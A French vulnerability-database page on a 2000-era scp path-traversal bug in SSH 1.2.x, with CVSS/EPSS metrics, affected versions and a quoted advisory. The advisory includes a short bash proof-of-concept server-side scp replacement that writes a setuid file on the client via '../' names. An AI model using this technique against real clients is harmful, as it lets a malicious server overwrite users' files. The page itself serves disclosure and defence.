Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:P/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 20253
Date de publication : 2000-09-29 22h00 +00:00
Auteur : Michal Zalewski
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/1742/info
A vulnerability exists in the 1.2.x releases of scp which, if properly exploited using a modified scp binary on the server end, can permit the remote server to spoof local pathnames and overwrite files belonging to the local user.
For example, following the command
scp user@remotehost:/somefile /home/user/newfile
the modified server on the remote machine maliciously sends the filename as ../../etc/passwd
the local user's scp program will then write the data to
/home/user/../../etc/passwd
(which is the same as /etc/passwd)
Note that the target file can only be overwritten if the local user has write access to it. As a result, it remains inadvisable to run scp as root.
This vulnerability applies to 1.2.x versions of ssh on the remote machine, irrespective of the version running as the client.
ssh-2.x on the remote employs a different protocol and as a result is reportedly not vulnerable to this bug.
As a proof of concept, I created trivial scp replacement (put it on remote machine in the place of original scp binary - usually in /usr/local/bin).
It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy file on client system:
#!/bin/bash
echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
Products Mentioned
Configuraton 0
Openbsd>>Openssh >> Version 1.2
Openbsd>>Openssh >> Version 1.2.3
Ssh>>Ssh >> Version 1.2.14
Ssh>>Ssh >> Version 1.2.15
Ssh>>Ssh >> Version 1.2.16
Ssh>>Ssh >> Version 1.2.17
Ssh>>Ssh >> Version 1.2.18
Ssh>>Ssh >> Version 1.2.19
Ssh>>Ssh >> Version 1.2.20
Ssh>>Ssh >> Version 1.2.21
Ssh>>Ssh >> Version 1.2.22
Ssh>>Ssh >> Version 1.2.23
Ssh>>Ssh >> Version 1.2.24
Ssh>>Ssh >> Version 1.2.25
Ssh>>Ssh >> Version 1.2.26
Ssh>>Ssh >> Version 1.2.27
Ssh>>Ssh >> Version 1.2.28
Ssh>>Ssh >> Version 1.2.29
Ssh>>Ssh >> Version 1.2.30
Ssh>>Ssh >> Version 1.2.31
Références